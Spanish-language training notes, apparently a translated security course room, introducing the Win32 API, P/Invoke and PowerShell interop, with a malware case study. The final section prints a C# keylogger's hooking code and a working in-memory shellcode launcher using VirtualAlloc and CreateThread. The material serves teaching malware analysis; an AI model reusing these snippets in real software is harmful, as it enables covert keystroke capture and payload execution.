Introduccion a Windows

Subsystem and Hardware Interaction

Los programas a menudo necesitan acceder o modificar subsistemas o hardware de Windows, pero están restringidos para mantener la estabilidad de la máquina. Para resolver este problema, Microsoft lanzó la API Win32 , una biblioteca para interactuar entre las aplicaciones en modo de usuario y el kernel.

Windows distingue el acceso al hardware mediante dos modos distintos: modo de usuario y modo kernel . Estos modos determinan el acceso al hardware, al kernel y a la memoria que se permite a una aplicación o controlador. API o llamadas al sistema interactúan entre cada modo, enviando información al sistema para ser procesada en modo kernel.

Modo de usuario	Modo kernel
Sin acceso directo al hardware	Acceso directo al hardware
Acceso a ubicaciones de memoria "propias"	Acceso a toda la memoria física.

Para obtener más información sobre la administración de memoria .

A continuación se muestra una representación visual de cómo una aplicación de usuario puede utilizar llamadas API para modificar los componentes del kernel.

20231023105956.png

Al observar cómo interactúan los idiomas con la API de Win32 , este proceso puede deformarse aún más; la aplicación pasará por el tiempo de ejecución del lenguaje antes de pasar por la API.

Components of the Windows API

La API de Win32 , más comúnmente conocida como API de Windows, tiene varios componentes dependientes que se utilizan para definir la estructura y organización de la API.

Dividamos la API de Win32 mediante un enfoque de arriba hacia abajo. Asumiremos que la API es la capa superior y los parámetros que componen una llamada específica son la capa inferior. En la siguiente tabla, describiremos la estructura de arriba hacia abajo en un nivel alto y profundizaremos en más detalles más adelante.

Capa	Explicación
API	Un término o teoría general/de alto nivel utilizado para describir cualquier llamada que se encuentre en la estructura de la API de win32 .
Archivos de encabezado o importaciones (Header files or imports)	Define las bibliotecas que se importarán en tiempo de ejecución, definidas por archivos de encabezado o importaciones de bibliotecas. Utiliza punteros para obtener la dirección de la función.
DLL principales(Core DLLs)	Un grupo de cuatro DLL que definen estructuras de llamadas. (KERNEL32, USUARIO32 y ADVAPI32). Estas DLL definen los servicios del kernel y del usuario que no están contenidos en un único subsistema.
DLL suplementarias(Supplemental DLLs)	Otras DLL definidas como parte de la API de Windows . Controla subsistemas separados del sistema operativo Windows. ~36 otras DLL definidas. (NTDLL, COM, FVEAPI, etc.)
Estructuras de llamadas(Call Structures)	Define la llamada API en sí y los parámetros de la llamada.
Llamadas API(API Calls)	La llamada API utilizada dentro de un programa, con direcciones de función obtenidas de punteros.
Parámetros de entrada/salida(In/Out Parameters)	Los valores de los parámetros definidos por las estructuras de llamada.

Ampliemos estas definiciones; En la siguiente tarea, analizaremos la importación de bibliotecas, el archivo de encabezado principal y la estructura de llamadas. En la tarea 4, profundizaremos en las llamadas y comprenderemos dónde y cómo digerir los parámetros y variantes de las llamadas.

OS Libraries

Cada llamada API de la biblioteca Win32 reside en la memoria y requiere un puntero a una dirección de memoria. El proceso de obtención de punteros a estas funciones está oscurecido debido a las implementaciones de ASLR ( A ddress Spac Layout R andomization) ; Cada idioma o paquete tiene un procedimiento único para superar ASLR. A lo largo de esta sala, analizaremos las dos implementaciones más populares: P/Invoke y el archivo de encabezado de Windows .

En esta tarea, profundizaremos en la teoría de cómo funcionan ambas implementaciones y, en tareas futuras, las pondremos en práctica.

Archivo de encabezado de Windows

Microsoft ha lanzado el archivo de encabezado de Windows, también conocido como cargador de Windows, como una solución directa a los problemas asociados con la implementación de ASLR. Manteniendo el concepto en un nivel alto, en tiempo de ejecución, el cargador determinará qué llamadas se realizan y creará una tabla de procesadores para obtener direcciones o punteros de funciones.

Afortunadamente, no tenemos que profundizar más para continuar trabajando con llamadas API si no deseamos hacerlo.

Una vez que el windows.harchivo está incluido en la parte superior de un programa no administrado; Se puede llamar a cualquier función de Win32.

Cubriremos este concepto a un nivel más práctico en la tarea 6.

P/Invoke

Microsoft describe P/Invoke o invocación de plataforma como "una tecnología que le permite acceder a estructuras, devoluciones de llamadas y funciones en bibliotecas no administradas desde su código administrado".

P/invoke proporciona herramientas para manejar todo el proceso de invocar una función no administrada desde código administrado o, en otras palabras, llamar a la API Win32 . P/invoke comenzará importando la DLL deseada que contiene la función no administrada o la llamada API de Win32. A continuación se muestra un ejemplo de importación de una DLL con opciones.

using System;
using System.Runtime.InteropServices;

public class Program
{
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
...
} 

En el código anterior, estamos importando la DLL user32 usando el atributo: DLLImport.

Nota: no se incluye un punto y coma porque la función p/invoke aún no está completa. En el segundo paso, debemos definir un método administrado como externo. La externpalabra clave informará al tiempo de ejecución de la DLL específica que se importó previamente. A continuación se muestra un ejemplo de cómo crear el método externo.

using System;
using System.Runtime.InteropServices;

public class Program
{
...
private static extern int MessageBox(IntPtr hWnd, string lpText, string lpCaption, uint uType);
} 

Ahora podemos invocar la función como un método administrado, ¡pero estamos llamando a la función no administrada!

API Call Structure

Las llamadas API son el segundo componente principal de la biblioteca Win32. Estas llamadas ofrecen extensibilidad y flexibilidad que se pueden utilizar para satisfacer una gran cantidad de casos de uso. La mayoría de las llamadas a la API de Win32 están bien documentadas en la documentación de la API de Windows y en pinvoke.net .

En esta tarea, echaremos un vistazo introductorio a los esquemas de nombres y los parámetros de entrada/salida de las llamadas API .

La funcionalidad de llamada API se puede ampliar modificando el esquema de nomenclatura y añadiendo un carácter representativo. A continuación se muestra una tabla de los caracteres que Microsoft admite para su esquema de nombres.

Character	Explicación
A	Representa un juego de caracteres de 8 bits con codificación ANSI.
W.	Representa una codificación Unicode
Ex	Proporciona funcionalidad extendida o parámetros de entrada/salida a la llamada API .

Para obtener más información sobre este concepto, consulte la documentación de Microsoft .

---

Cada llamada API también tiene una estructura predefinida para definir sus parámetros de entrada/salida. Puede encontrar la mayoría de estas estructuras en la página del documento de llamada API correspondiente de la documentación de Windows , junto con explicaciones de cada parámetro de E/S.

Echemos un vistazo a la llamada API como ejemplo. A continuación se muestra la estructura de E/S para la llamada obtenida aquí .WriteProcessMemory

BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);

Para cada parámetro de E/S, Microsoft también explica su uso, la entrada o salida esperada y los valores aceptados.

Incluso con una explicación, determinar estos valores a veces puede resultar complicado para determinadas llamadas. Sugerimos siempre investigar y encontrar ejemplos de uso de llamadas API antes de utilizar una llamada en su código.

C API Implementations

Microsoft proporciona lenguajes de programación de bajo nivel, como C y C++, con un conjunto de bibliotecas preconfiguradas que podemos usar para acceder a las llamadas API necesarias .

El windows.harchivo de encabezado, como se analizó en la tarea 4, se utiliza para definir estructuras de llamadas y obtener punteros de funciones. Para incluir el encabezado de Windows, anteponga la línea siguiente a cualquier programa C o C++.

#include <windows.h>

Pasemos directamente a crear nuestra primera llamada API . Como primer objetivo, pretendemos crear una ventana emergente con el título: "¡Hola THM!" usandoCreateWindowExA . Para reiterar lo que se cubrió en la tarea 5, observemos los parámetros de entrada/salida de la llamada.

HWND CreateWindowExA(
  [in]           DWORD     dwExStyle, // Optional windows styles
  [in, optional] LPCSTR    lpClassName, // Windows class
  [in, optional] LPCSTR    lpWindowName, // Windows text
  [in]           DWORD     dwStyle, // Windows style
  [in]           int       X, // X position
  [in]           int       Y, // Y position
  [in]           int       nWidth, // Width size
  [in]           int       nHeight, // Height size
  [in, optional] HWND      hWndParent, // Parent windows
  [in, optional] HMENU     hMenu, // Menu
  [in, optional] HINSTANCE hInstance, // Instance handle
  [in, optional] LPVOID    lpParam // Additional application data
);

Tomemos estos parámetros predefinidos y les asignaremos valores. Como se mencionó en la tarea 5, cada parámetro de una llamada API tiene una explicación de su propósito y valores potenciales. A continuación se muestra un ejemplo de una llamada completa aCreateWindowsExA .

HWND hwnd = CreateWindowsEx(
	0, 
	CLASS_NAME, 
	L"Hello THM!", 
	WS_OVERLAPPEDWINDOW, 
	CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, 
	NULL, 
	NULL, 
	hInstance, 
	NULL
	);

¡Hemos definido nuestra primera llamada API en C! Ahora podemos implementarlo en una aplicación y utilizar la funcionalidad de la llamada API. A continuación se muestra una aplicación de ejemplo que utiliza la API para crear una pequeña ventana en blanco.

BOOL Create(
        PCWSTR lpWindowName,
        DWORD dwStyle,
        DWORD dwExStyle = 0,
        int x = CW_USEDEFAULT,
        int y = CW_USEDEFAULT,
        int nWidth = CW_USEDEFAULT,
        int nHeight = CW_USEDEFAULT,
        HWND hWndParent = 0,
        HMENU hMenu = 0
        )
    {
        WNDCLASS wc = {0};

        wc.lpfnWndProc   = DERIVED_TYPE::WindowProc;
        wc.hInstance     = GetModuleHandle(NULL);
        wc.lpszClassName = ClassName();

        RegisterClass(&wc);

        m_hwnd = CreateWindowEx(
            dwExStyle, ClassName(), lpWindowName, dwStyle, x, y,
            nWidth, nHeight, hWndParent, hMenu, GetModuleHandle(NULL), this
            );

        return (m_hwnd ? TRUE : FALSE);
    }

Si tiene éxito, deberíamos ver una ventana con el título “¡Hola THM!”.

Como se demostró a lo largo de esta tarea, los lenguajes de bajo nivel hacen que sea muy fácil definir rápidamente una llamada API . Debido a su facilidad de uso y extensibilidad, los lenguajes basados ​​en C son los más populares tanto entre los actores de amenazas como entre los proveedores.

.NET and PowerShell API Implementations

Como se analizó en la tarea 4, P/Invoke nos permite importar archivos DLL y asignar punteros a llamadas API .

Para comprender cómo se implementa P/Invoke, veamos un ejemplo a continuación y analicemos los componentes individuales después.

class Win32 {
	[DllImport("kernel32")]
	public static extern IntPtr GetComputerNameA(StringBuilder lpBuffer, ref uint lpnSize);
}

La función de clase almacena llamadas API definidas y una definición a la que hacer referencia en todos los métodos futuros.

La biblioteca en la que se almacena la estructura de llamadas API ahora debe importarse usando DllImport. Las DLL importadas actúan de manera similar a los paquetes de encabezado, pero requieren que importe una DLL específica con la llamada API que está buscando. Puede hacer referencia al índice API o pinvoke.net para determinar dónde se encuentra una llamada API particular en una DLL.

Desde la importación de DLL , podemos crear un nuevo puntero a la llamada API que queremos usar, en particular definido por intPtr. A diferencia de otros lenguajes de bajo nivel, debe especificar la estructura de parámetros de entrada/salida en el puntero. Como se analizó en la tarea 5, podemos encontrar los parámetros de entrada/salida para la llamada API requerida en la documentación de Windows.

Ahora podemos implementar la llamada API definida en una aplicación y usar su funcionalidad. A continuación se muestra una aplicación de ejemplo que utiliza la API para obtener el nombre de la computadora y otra información del dispositivo en el que se ejecuta.

class Win32 {
	[DllImport("kernel32")]
	public static extern IntPtr GetComputerNameA(StringBuilder lpBuffer, ref uint lpnSize);
}

static void Main(string[] args) {
	bool success;
	StringBuilder name = new StringBuilder(260);
	uint size = 260;
	success = GetComputerNameA(name, ref size);
	Console.WriteLine(name.ToString());
}

Si tiene éxito, el programa debería devolver el nombre de la computadora del dispositivo actual.

Ahora que hemos cubierto cómo se puede lograr en .NET, veamos cómo podemos adaptar la misma sintaxis para que funcione en PowerShell .

Definir la llamada API es casi idéntica a la implementación de .NET, pero necesitaremos crear un método en lugar de una clase y agregar algunos operadores adicionales.

$MethodDefinition = @"
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr GetModuleHandle(string lpModuleName);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
"@;

Las llamadas ahora están definidas, pero PowerShell requiere un paso más antes de poder inicializarlas. Debemos crear un nuevo tipo para el puntero de cada DLL Win32 dentro de la definición del método. La funciónAdd-Type colocará un archivo temporal en el /tempdirectorio y compilará las funciones necesarias usando csc.exe. A continuación se muestra un ejemplo de la función que se utiliza.

$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;

Ahora podemos usar las llamadas API requeridas con la sintaxis siguiente.

[Win32.Kernel32]::<Imported Call>()

Commonly Abused API Calls

Varias llamadas API dentro de la biblioteca Win32 se prestan para ser aprovechadas fácilmente para actividades maliciosas.

Varias entidades han intentado documentar y organizar todas las llamadas API disponibles con vectores maliciosos, incluidos SAN y MalAPI.io .

Si bien se abusa de muchas llamadas, algunas se ven en la naturaleza más que otras. A continuación se muestra una tabla de las API de las que se abusa con más frecuencia, organizadas por frecuencia en una colección de ejemplos.

Llamada API	Explicación
LoadLibraryA	Asigna una DLL especificada al espacio de direcciones del proceso de llamada
GetUserNameA	Recupera el nombre del usuario asociado con el hilo actual.
GetComputerNameA	Recupera un nombre NetBIOS o DNS de la computadora local
GetVersionExA	Obtiene información sobre la versión del sistema operativo que se está ejecutando actualmente.
GetModuleFileNameA	Recupera la ruta completa para el archivo del módulo y proceso especificados.
GetStartupInfoA	Recupera el contenido de la estructura STARTUPINFO (estación de ventana, escritorio, identificadores estándar y apariencia de un proceso).
GetModuleHandle	Devuelve un identificador de módulo para el módulo especificado si está asignado al espacio de direcciones del proceso de llamada
GetProcAddress	Devuelve la dirección de una función DLL exportada especificada
VirtualProtect	Cambia la protección en una región de la memoria en el espacio de direcciones virtuales del proceso de llamada
# Malware Case Study

Ahora que entendemos las implementaciones subyacentes de la biblioteca Win32 y las llamadas API de las que se abusa comúnmente , analicemos dos muestras de malware y observemos cómo interactúan sus llamadas.

En esta tarea, analizaremos un registrador de teclas C# y un iniciador de shellcode.

registrador de teclas

Para comenzar a analizar el keylogger, necesitamos recopilar qué llamadas API y enlaces está implementando. Debido a que el keylogger está escrito en C#, debe usar P/Invoke para obtener punteros para cada llamada. A continuación se muestra un fragmento de las definiciones de p/invoke del código fuente de muestra de malware.

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
private static int WHKEYBOARDLL = 13;
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetCurrentProcess();

A continuación se muestra una explicación de cada llamada API y su uso respectivo.

Llamada API	Explicación
SetWindowsHookEx	Instala un gancho de memoria en una cadena de ganchos para monitorear ciertos eventos
UnhookWindowsHookEx	Elimina un gancho instalado de la cadena del gancho.
GetModuleHandle	Devuelve un identificador de módulo para el módulo especificado si está asignado al espacio de direcciones del proceso de llamada
GetCurrentProcess	Recupera un pseudo identificador para el proceso actual.

Para mantener la integridad ética de este estudio de caso, no cubriremos cómo la muestra recopila cada pulsación de tecla. Analizaremos cómo la muestra fija el gancho en el proceso actual. A continuación se muestra un fragmento de la sección de enlace del código fuente de muestra de malware.

public static void Main() {
	_hookID = SetHook(_proc);
	Application.Run();
	UnhookWindowsHookEx(_hookID);
	Application.Exit();
}
private static IntPtr SetHook(LowLevelKeyboardProc proc) {
	using (Process curProcess = Process.GetCurrentProcess()) {
		return SetWindowsHookEx(WHKEYBOARDLL, proc, GetModuleHandle(curProcess.ProcessName), 0);
	}
}

Comprendamos el objetivo y el procedimiento del keylogger, luego asignemos su respectiva llamada API del fragmento anterior.

Utilizando la documentación de la API de Windows y el contexto del fragmento anterior, comience a analizar el registrador de teclas, utilizando las preguntas 1 a 4 como guía para trabajar en el ejemplo.

Lanzador de código Shell

Para comenzar a analizar el iniciador de shellcode, una vez más necesitamos recopilar qué llamadas API está implementando. Este proceso debería ser idéntico al estudio de caso anterior. A continuación se muestra un fragmento de las definiciones de p/invoke del código fuente de muestra de malware.

private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

A continuación se muestra una explicación de cada llamada API y su uso respectivo.

Llamada API	Explicación
VirtualAlloc	Reserva, confirma o cambia el estado de una región de páginas en el espacio de direcciones virtuales del proceso de llamada.
WaitForSingleObject	Espera hasta que el objeto especificado esté en el estado señalado o transcurra el intervalo de tiempo de espera
CreateThread	Crea un hilo para ejecutar dentro del espacio de direcciones virtuales del proceso de llamada.

Ahora analizaremos cómo se escribe y ejecuta el código shell desde la memoria.

UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return;

Comprendamos el objetivo y el procedimiento de ejecución del código shell, luego asignemos su respectiva llamada API del fragmento anterior.

Utilizando la documentación de la API de Windows y el contexto del fragmento anterior, comience a analizar el iniciador de shellcode